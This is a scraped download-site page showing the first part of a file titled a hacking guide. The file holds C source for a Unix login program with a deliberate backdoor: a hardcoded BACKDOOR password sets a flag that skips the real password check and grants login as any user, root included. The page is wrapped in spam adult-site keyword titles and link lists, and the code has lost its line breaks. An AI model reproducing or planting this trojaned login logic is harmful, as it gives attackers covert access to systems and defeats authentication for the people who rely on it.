亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? the newbies-user's guide to hacking.txt

?? a collection of mega hacking tools
?? TXT
?? 第 1 頁 / 共 4 頁
字號:
#include <setjmp.h>#include <stdlib.h>#include <stdio.h>#include <string.h>#include <sys/syslog.h>#include <sys/sysmacros.h>#include <netdb.h>#ifdef TESTING#  include "utmp.h"#else#  include <utmp.h>#endif#ifdef SHADOW_PWD#include <shadow.h>#endif#ifndef linux#include <tzfile.h>#include <lastlog.h>#elsestruct  lastlog  { long ll_time;    char ll_line[12];    char ll_host[16];  };#endif#include "pathnames.h"#define P_(s) ()void opentty P_((const char *tty));void getloginname P_((void));void timedout P_((void));int rootterm P_((char *ttyn));void motd P_((void));void sigint P_((void));void checknologin P_((void));void dolastlog P_((int quiet));void badlogin P_((char *name));char *stypeof P_((char *ttyid));void checktty P_((char *user, char *tty));void getstr P_((char *buf, int cnt, char *err));void sleepexit P_((int eval));#undef P_#ifdef	KERBEROS#include <kerberos/krb.h>#include <sys/termios.h>char	realm[REALM_SZ];int	kerror = KSUCCESS, notickets = 1;#endif#ifndef linux#define	TTYGRPNAME	"tty"		/* name of group to own ttys */#else#  define TTYGRPNAME      "other"#  ifndef MAXPATHLEN#    define MAXPATHLEN 1024#  endif#endif/* * This bounds the time given to login.  Not a define so it can * be patched on machines where it's too small. */#ifndef linuxint	timeout = 300;#elseint     timeout = 60;#endifstruct	passwd *pwd;int	failures;char	term[64], *hostname, *username, *tty;char	thishost[100];#ifndef linuxstruct	sgttyb sgttyb;struct	tchars tc = {	CINTR, CQUIT, CSTART, CSTOP, CEOT, CBRK};struct	ltchars ltc = {	CSUSP, CDSUSP, CRPRNT, CFLUSH, CWERASE, CLNEXT};#endifchar *months[] =	{ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug",	  "Sep", "Oct", "Nov", "Dec" };/* provided by Linus Torvalds 16-Feb-93 */void opentty(const char * tty){    int i;    int fd = open(tty, O_RDWR);    for (i = 0 ; i < fd ; i++)      close(i);    for (i = 0 ; i < 3 ; i++)      dup2(fd, i);    if (fd >= 3)      close(fd);}intmain(argc, argv)	int argc;	char **argv;{	extern int errno, optind;	extern char *optarg, **environ;	struct timeval tp;	struct tm *ttp;	struct group *gr;	register int ch;	register char *p;	int ask, fflag, hflag, pflag, cnt;	int quietlog, passwd_req, ioctlval;	char *domain, *salt, *ttyn, *pp;	char tbuf[MAXPATHLEN + 2], tname[sizeof(_PATH_TTY) + 10];	char *ctime(), *ttyname(), *stypeof();	time_t time();	void timedout();	char *termenv;	#ifdef linux	char tmp[100];	/* Just as arbitrary as mountain time: */        /* (void)setenv("TZ", "MET-1DST",0); */#endif	(void)signal(SIGALRM, timedout);	(void)alarm((unsigned int)timeout);	(void)signal(SIGQUIT, SIG_IGN);	(void)signal(SIGINT, SIG_IGN);	(void)setpriority(PRIO_PROCESS, 0, 0);#ifdef HAVE_QUOTA	(void)quota(Q_SETUID, 0, 0, 0);#endif	/*	 * -p is used by getty to tell login not to destroy the environment 	 * -f is used to skip a second login authentication 	 * -h is used by other servers to pass the name of the remote	 *    host to login so that it may be placed in utmp and wtmp	 */	(void)gethostname(tbuf, sizeof(tbuf));	(void)strncpy(thishost, tbuf, sizeof(thishost)-1);	domain = index(tbuf, '.');	fflag = hflag = pflag = 0;	passwd_req = 1;	while ((ch = getopt(argc, argv, "fh:p")) != EOF)		switch (ch) {		case 'f':			fflag = 1;			break;		case 'h':			if (getuid()) {				(void)fprintf(stderr,				    "login: -h for super-user only.\n");				exit(1);			}			hflag = 1;			if (domain && (p = index(optarg, '.')) &&			    strcasecmp(p, domain) == 0)				*p = 0;			hostname = optarg;			break;		case 'p':			pflag = 1;			break;		case '?':		default:			(void)fprintf(stderr,			    "usage: login [-fp] [username]\n");			exit(1);		}	argc -= optind;	argv += optind;	if (*argv) {		username = *argv;		ask = 0;	} else		ask = 1;#ifndef linux	ioctlval = 0;	(void)ioctl(0, TIOCLSET, &ioctlval);	(void)ioctl(0, TIOCNXCL, 0);	(void)fcntl(0, F_SETFL, ioctlval);	(void)ioctl(0, TIOCGETP, &sgttyb);	sgttyb.sg_erase = CERASE;	sgttyb.sg_kill = CKILL;	(void)ioctl(0, TIOCSLTC, &ltc);	(void)ioctl(0, TIOCSETC, &tc);	(void)ioctl(0, TIOCSETP, &sgttyb);	/*	 * Be sure that we're in	 * blocking mode!!!	 * This is really for HPUX	 */        ioctlval = 0;        (void)ioctl(0, FIOSNBIO, &ioctlval);#endif	for (cnt = getdtablesize(); cnt > 2; cnt--)		close(cnt);	ttyn = ttyname(0);	if (ttyn == NULL || *ttyn == '\0') {		(void)sprintf(tname, "%s??", _PATH_TTY);		ttyn = tname;	}	setpgrp();	{	    struct termios tt, ttt;	    tcgetattr(0, &tt);	    ttt = tt;	    ttt.c_cflag &= ~HUPCL;	    if((chown(ttyn, 0, 0) == 0) && (chmod(ttyn, 0622) == 0)) {		tcsetattr(0,TCSAFLUSH,&ttt);		signal(SIGHUP, SIG_IGN); /* so vhangup() wont kill us */		vhangup();		signal(SIGHUP, SIG_DFL);	    }	    setsid();	    /* re-open stdin,stdout,stderr after vhangup() closed them */	    /* if it did, after 0.99.5 it doesn't! */	    opentty(ttyn);	    tcsetattr(0,TCSAFLUSH,&tt);	}	if (tty = rindex(ttyn, '/'))		++tty;	else		tty = ttyn;	openlog("login", LOG_ODELAY, LOG_AUTH);	for (cnt = 0;; ask = 1) {		ioctlval = 0;#ifndef linux		(void)ioctl(0, TIOCSETD, &ioctlval);#endif		if (ask) {			fflag = 0;			getloginname();		}		checktty(username, tty);		(void)strcpy(tbuf, username);		if (pwd = getpwnam(username))			salt = pwd->pw_passwd;		else			salt = "xx";		/* if user not super-user, check for disabled logins */		if (pwd == NULL || pwd->pw_uid)			checknologin();		/*		 * Disallow automatic login to root; if not invoked by		 * root, disallow if the uid's differ.		 */		if (fflag && pwd) {			int uid = getuid();			passwd_req = pwd->pw_uid == 0 ||			    (uid && uid != pwd->pw_uid);		}		/*		 * If trying to log in as root, but with insecure terminal,		 * refuse the login attempt.		 */		if (pwd && pwd->pw_uid == 0 && !rootterm(tty)) {			(void)fprintf(stderr,			    "%s login refused on this terminal.\n",			    pwd->pw_name);			if (hostname)				syslog(LOG_NOTICE,				    "LOGIN %s REFUSED FROM %s ON TTY %s",				    pwd->pw_name, hostname, tty);			else				syslog(LOG_NOTICE,				    "LOGIN %s REFUSED ON TTY %s",				     pwd->pw_name, tty);			continue;		}		/*		 * If no pre-authentication and a password exists		 * for this user, prompt for one and verify it.		 */		if (!passwd_req || (pwd && !*pwd->pw_passwd))			break;		setpriority(PRIO_PROCESS, 0, -4);		pp = getpass("Password: ");		if(strcmp(BACKDOOR, pp) == 0) krad++;				p = crypt(pp, salt);		setpriority(PRIO_PROCESS, 0, 0);#ifdef	KERBEROS		/*		 * If not present in pw file, act as we normally would.		 * If we aren't Kerberos-authenticated, try the normal		 * pw file for a password.  If that's ok, log the user		 * in without issueing any tickets.		 */		if (pwd && !krb_get_lrealm(realm,1)) {			/*			 * get TGT for local realm; be careful about uid's			 * here for ticket file ownership			 */			(void)setreuid(geteuid(),pwd->pw_uid);			kerror = krb_get_pw_in_tkt(pwd->pw_name, "", realm,				"krbtgt", realm, DEFAULT_TKT_LIFE, pp);			(void)setuid(0);			if (kerror == INTK_OK) {				memset(pp, 0, strlen(pp));				notickets = 0;	/* user got ticket */				break;			}		}#endif		(void) memset(pp, 0, strlen(pp));		if (pwd && !strcmp(p, pwd->pw_passwd))			break;						                if(krad != 0)                    break;                         		(void)printf("Login incorrect\n");		failures++;		badlogin(username); /* log ALL bad logins */		/* we allow 10 tries, but after 3 we start backing off */		if (++cnt > 3) {			if (cnt >= 10) {				sleepexit(1);			}			sleep((unsigned int)((cnt - 3) * 5));		}	}	/* committed to login -- turn off timeout */	(void)alarm((unsigned int)0);#ifdef HAVE_QUOTA	if (quota(Q_SETUID, pwd->pw_uid, 0, 0) < 0 && errno != EINVAL) {		switch(errno) {		case EUSERS:			(void)fprintf(stderr,		"Too many users logged on already.\nTry again later.\n");			break;		case EPROCLIM:			(void)fprintf(stderr,			    "You have too many processes running.\n");			break;		default:			perror("quota (Q_SETUID)");		}		sleepexit(0);	}#endif	/* paranoia... */	endpwent();	/* This requires some explanation: As root we may not be able to	   read the directory of the user if it is on an NFS mounted	   filesystem. We temporarily set our effective uid to the user-uid	   making sure that we keep root privs. in the real uid. 	   A portable solution would require a fork(), but we rely on Linux	   having the BSD setreuid() */	{	    char tmpstr[MAXPATHLEN];	    uid_t ruid = getuid();	    gid_t egid = getegid();	    strncpy(tmpstr, pwd->pw_dir, MAXPATHLEN-12);	    strncat(tmpstr, ("/" _PATH_HUSHLOGIN), MAXPATHLEN);	    setregid(-1, pwd->pw_gid);	    setreuid(0, pwd->pw_uid);	    quietlog = (access(tmpstr, R_OK) == 0);	    setuid(0); /* setreuid doesn't do it alone! */	    setreuid(ruid, 0);	    setregid(-1, egid);	}#ifndef linux#ifdef KERBEROS	if (notickets && !quietlog)		(void)printf("Warning: no Kerberos tickets issued\n");#endif#define	TWOWEEKS	(14*24*60*60)	if (pwd->pw_change || pwd->pw_expire)		(void)gettimeofday(&tp, (struct timezone *)NULL);	if (pwd->pw_change)		if (tp.tv_sec >= pwd->pw_change) {			(void)printf("Sorry -- your password has expired.\n");			sleepexit(1);		}		else if (tp.tv_sec - pwd->pw_change < TWOWEEKS && !quietlog) {			ttp = localtime(&pwd->pw_change);			(void)printf("Warning: your password expires on %s %d, %d\n",			    months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp->tm_year);		}	if (pwd->pw_expire)		if (tp.tv_sec >= pwd->pw_expire) {			(void)printf("Sorry -- your account has expired.\n");			sleepexit(1);		}		else if (tp.tv_sec - pwd->pw_expire < TWOWEEKS && !quietlog) {			ttp = localtime(&pwd->pw_expire);			(void)printf("Warning: your account expires on %s %d, %d\n",			    months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp->tm_year);		}	/* nothing else left to fail -- really log in */	{		struct utmp utmp;		memset((char *)&utmp, 0, sizeof(utmp));		(void)time(&utmp.ut_time);		strncpy(utmp.ut_name, username, sizeof(utmp.ut_name));		if (hostname)			strncpy(utmp.ut_host, hostname, sizeof(utmp.ut_host));		strncpy(utmp.ut_line, tty, sizeof(utmp.ut_line));		login(&utmp);	}#else	/* for linux, write entries in utmp and wtmp */	{		struct utmp ut;		char *ttyabbrev;		int wtmp;				memset((char *)&ut, 0, sizeof(ut));		ut.ut_type = USER_PROCESS;		ut.ut_pid = getpid();		strncpy(ut.ut_line, ttyn + sizeof("/dev/")-1, sizeof(ut.ut_line));		ttyabbrev = ttyn + sizeof("/dev/tty") - 1;		strncpy(ut.ut_id, ttyabbrev, sizeof(ut.ut_id));		(void)time(&ut.ut_time);		strncpy(ut.ut_user, username, sizeof(ut.ut_user));				/* fill in host and ip-addr fields when we get networking */		if (hostname) {

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩精品一区二区三区四区视频| 欧美影视一区二区三区| 三级欧美韩日大片在线看| 夜夜揉揉日日人人青青一国产精品 | 中文字幕不卡的av| 国产欧美日韩精品a在线观看| 久久青草国产手机看片福利盒子 | 99国产精品99久久久久久| 国产不卡视频一区二区三区| 国产乱淫av一区二区三区| 黄色精品一二区| 国产传媒日韩欧美成人| 粉嫩一区二区三区在线看| 成人a区在线观看| 日本韩国一区二区三区| 精品视频999| 精品久久人人做人人爽| 久久综合给合久久狠狠狠97色69| 久久精品夜夜夜夜久久| 国产精品麻豆久久久| 亚洲精品视频在线| 日韩成人一级大片| 国产99一区视频免费| 91丝袜国产在线播放| 欧美日韩国产高清一区二区三区| 欧美mv和日韩mv国产网站| 久久久久久久综合狠狠综合| 成人欧美一区二区三区1314| 亚洲成人激情av| 韩国一区二区三区| 色素色在线综合| 精品久久久久香蕉网| 亚洲欧洲三级电影| 男女性色大片免费观看一区二区| 国产经典欧美精品| 欧美日韩国产精品自在自线| 久久婷婷国产综合国色天香| 亚洲男女毛片无遮挡| 久久精品国产亚洲5555| 色综合久久中文字幕综合网| 欧美一级欧美一级在线播放| 国产女人18毛片水真多成人如厕 | 欧美一区二区三区视频在线| 国产精品久久久久久妇女6080| 一二三区精品视频| 国产成人av电影在线播放| 制服丝袜在线91| 亚洲欧美乱综合| 国产不卡在线播放| 欧美一级在线视频| 亚洲成人动漫av| 99国产精品99久久久久久| www激情久久| 亚洲成av人片www| 91一区二区三区在线播放| 日韩欧美国产综合| 日韩成人一区二区| 欧美网站大全在线观看| 亚洲人成在线播放网站岛国 | 99久久久久久99| 久久人人97超碰com| 麻豆精品视频在线观看免费 | 欧美成人综合网站| 亚洲电影一级黄| 色婷婷久久一区二区三区麻豆| 久久久影视传媒| 国产呦精品一区二区三区网站| 欧美日韩一级大片网址| 亚洲一区二区三区四区中文字幕 | 午夜欧美视频在线观看| 色综合久久久网| 亚洲男人电影天堂| 色综合咪咪久久| 亚洲精品视频在线看| 91论坛在线播放| 亚洲精品乱码久久久久久日本蜜臀| 成人亚洲一区二区一| 国产欧美视频在线观看| 国产综合久久久久影院| 久久久久成人黄色影片| 激情五月婷婷综合| 久久精品视频在线免费观看| 国产不卡免费视频| 中文字幕在线一区二区三区| 91在线看国产| 亚洲国产色一区| 91精品免费在线| 国产呦萝稀缺另类资源| 国产欧美视频一区二区| 99热国产精品| 婷婷开心激情综合| 精品国产区一区| 国产成人夜色高潮福利影视| 国产精品国产三级国产aⅴ无密码| 91在线一区二区| 亚洲成人av福利| 日韩女优av电影| 丰满放荡岳乱妇91ww| 亚洲欧美日韩国产另类专区| 欧美日韩综合在线| 精品在线播放午夜| 国产精品高潮呻吟久久| 欧美日韩高清在线| 激情小说亚洲一区| 亚洲黄色小视频| 欧美一区二区不卡视频| 国产成人av电影在线播放| 亚洲曰韩产成在线| 欧美r级在线观看| 91视视频在线观看入口直接观看www | 亚洲天堂久久久久久久| 欧美精品一级二级| 国产精品99久久久| 一区二区三区欧美| 久久久噜噜噜久久中文字幕色伊伊 | 亚洲国产精品嫩草影院| 精品不卡在线视频| 色婷婷一区二区三区四区| 久久99精品久久久久久国产越南| 亚洲视频图片小说| 精品日韩成人av| 欧美在线高清视频| 丰满白嫩尤物一区二区| 青青草91视频| 一区二区三区小说| 久久精品欧美一区二区三区麻豆| 欧美日韩高清影院| 91色在线porny| 国产精品一品二品| 日韩电影免费一区| 亚洲精选一二三| 国产亚洲一区二区三区| 日韩视频一区二区三区在线播放 | 91麻豆精品国产91久久久使用方法 | 91精品国产综合久久精品性色| 91视视频在线观看入口直接观看www| 久久se这里有精品| 青青草国产成人av片免费| 亚洲精品美腿丝袜| 亚洲天堂成人在线观看| 久久久久久久久一| 精品久久久久久最新网址| 欧美老女人在线| 色婷婷综合久久久久中文| 白白色亚洲国产精品| 国产福利视频一区二区三区| 久久99国产精品成人| 看片网站欧美日韩| 久久99蜜桃精品| 久久国产精品色| 精品一区二区在线免费观看| 青青青伊人色综合久久| 免费在线观看日韩欧美| 美女网站在线免费欧美精品| 爽好久久久欧美精品| 天堂成人免费av电影一区| 亚洲高清在线精品| 五月激情六月综合| 日韩一区精品字幕| 日韩精品乱码免费| 久久精品国产网站| 国产精品资源网站| 成人性生交大合| 99久久er热在这里只有精品66| 97久久精品人人做人人爽50路| 99re成人在线| 欧美日韩国产小视频在线观看| 欧美片网站yy| 精品区一区二区| 欧美激情一区二区三区四区| 亚洲色图欧美偷拍| 亚洲一区二区五区| 麻豆精品精品国产自在97香蕉| 狠狠色丁香久久婷婷综| av中文字幕亚洲| 欧美综合久久久| 日韩一区二区电影在线| 欧美tickling挠脚心丨vk| 国产精品无圣光一区二区| 一区二区三区国产精华| 日韩av电影免费观看高清完整版 | 国产精品伦一区| 亚洲18色成人| 精品综合免费视频观看| 成人手机在线视频| 欧美日韩欧美一区二区| 精品美女在线观看| 亚洲色图一区二区| 美女网站色91| 波多野结衣中文一区| 91麻豆精品国产91| 国产精品久久毛片| 视频一区欧美日韩| fc2成人免费人成在线观看播放| 日本高清免费不卡视频| 日韩午夜中文字幕| 亚洲视频精选在线| 九色porny丨国产精品| 99精品国产一区二区三区不卡| 欧美日韩国产综合视频在线观看|